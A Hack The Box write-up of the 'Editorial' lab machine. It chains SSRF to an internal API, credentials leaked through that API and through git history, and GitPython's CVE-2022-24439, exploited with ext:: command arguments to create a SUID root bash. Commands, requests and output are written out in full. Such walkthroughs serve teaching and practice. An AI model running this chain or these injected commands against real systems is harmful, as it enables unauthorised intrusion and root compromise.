Editorial — Hack The Box
| Info | Value |
|---|---|
| OS | Linux (Ubuntu) |
| Difficulty | Easy |
| IP | 10.129.1.56 |
| Hostname | editorial.htb |
| Services | SSH (22), HTTP/nginx (80) |
Enumeration
See also: Network Discovery & Scanning and Reconnaissance-and-Information-Gathering
Nmap
nmap -sC -sV -p- -vvv -oA nmap.scan 10.129.1.56PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htbOpen ports:
- 22/tcp — OpenSSH 8.9p1 Ubuntu → SSH Notes
- 80/tcp — nginx 1.18.0 → redirect to
http://editorial.htb
Web Application
The website features a book cover upload functionality at the /upload-cover endpoint. The form accepts a bookurl parameter that allows specifying a URL from which to retrieve the cover image.
SSRF — Server-Side Request Forgery
Deep dive: Server-Side Request Forgery (SSRF)
Vulnerability Identification
The bookurl parameter in the POST request to /upload-cover is vulnerable to SSRF. By inserting internal URLs such as http://localhost:<port>/, the server resolves them on the backend.
Observed behavior:
- If the port/endpoint is valid → responds with a path like
static/uploads/<uuid>(file containing the internal response content) - If the port/endpoint is invalid → responds with
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg(default image)
Internal Port Scanning
Using SSRF, I performed an internal port scan on http://localhost:<port>/ by varying the port number. I identified an internal API on port 5000.
Internal API Enumeration
Endpoint discovered via SSRF:
http://localhost:5000/api/latest/metadata/messages/authorsSSRF Request (Burp Suite):

The POST request to /upload-cover with bookurl set to http://localhost:5000/api/latest/metadata/messages/authors returns static/uploads/e74a2231-3be5-4eeb-94f9-b3443a96b8f6.
Credential Leak
By downloading the file generated by SSRF (GET /static/uploads/e74a2231-3be5-4eeb-94f9-b3443a96b8f6), I obtain a JSON containing an email template with plaintext credentials:

{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}Obtained credentials:
| Username | Password |
|---|---|
dev | dev080217_devAPI!@ |
Foothold — SSH as dev
Login SSH with the credentials obtained from the SSRF:
ssh dev@editorial.htb
# Password: dev080217_devAPI!@Lateral Movement — dev → prod
Git repository in ~/apps
Technique: Code Repository Mining
In dev’s home directory, there is a git repository:
dev@editorial:~/apps$ git logThe commit 1e84a036b2f33c59e2390730699a488c65643d28 (“feat: create api to editorial info”) contains the source of the Flask API with hardcoded credentials for user prod:
git show 1e84a036b2f33c59e2390730699a488c65643d28@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
'template_mail_message': "...Username: prod\nPassword: 080217_Producti0n_2023!@\n..."
}) # TODO: replace dev credentials when checks passprod credentials:
| Username | Password |
|---|---|
prod | 080217_Producti0n_2023!@ |
SSH as prod
ssh prod@editorial.htb
# Password: 080217_Producti0n_2023!@Privilege Escalation — prod → root
Methodology: Privilege Escalation Vectors — Checklist: privesc-checklist
sudo -l
prod@editorial:~$ sudo -l
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *Script Analysis
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])The script uses GitPython with clone_from() and explicitly enables the ext protocol (protocol.ext.allow=always). User input (sys.argv[1]) is passed directly as an URL without sanitization.
CVE-2022-24439 — GitPython RCE
Vulnerability
GitPython < 3.1.30 is vulnerable to Remote Code Execution via git’s
extprotocol. Theext::protocol allows specifying an arbitrary command as a “remote helper”, which is executed by the system.Ref: https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
Exploitation
Direct injection of a reverse shell proved complicated, so a two-step approach was used — copying /bin/bash and setting the SUID bit:
# Step 1: copy /bin/bash to /tmp/pwn (executed as root via sudo)
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::cp /bin/bash /tmp/pwn'
# Step 2: set SUID on the copied binary
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::chmod 4755 /tmp/pwn'Root shell
SUID Technique: SGID Exploitation
prod@editorial:/tmp$ ls -la pwn
-rwsr-xr-x 1 root root 1396520 Feb 16 17:35 pwn
prod@editorial:/tmp$ ./pwn -p
pwn-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
pwn-5.1# whoami
rootFlag
-pThe
-pflag (privileged mode) is necessary to prevent bash from dropping the effective UID. Without-p, bash resetseuidtouidand you remain asprod.
Attack Chain Summary
SSRF (bookurl) → Internal API :5000 → dev credentials
↓
SSH dev → Git history → prod credentials
↓
SSH prod → sudo GitPython (CVE-2022-24439) → SUID bash → root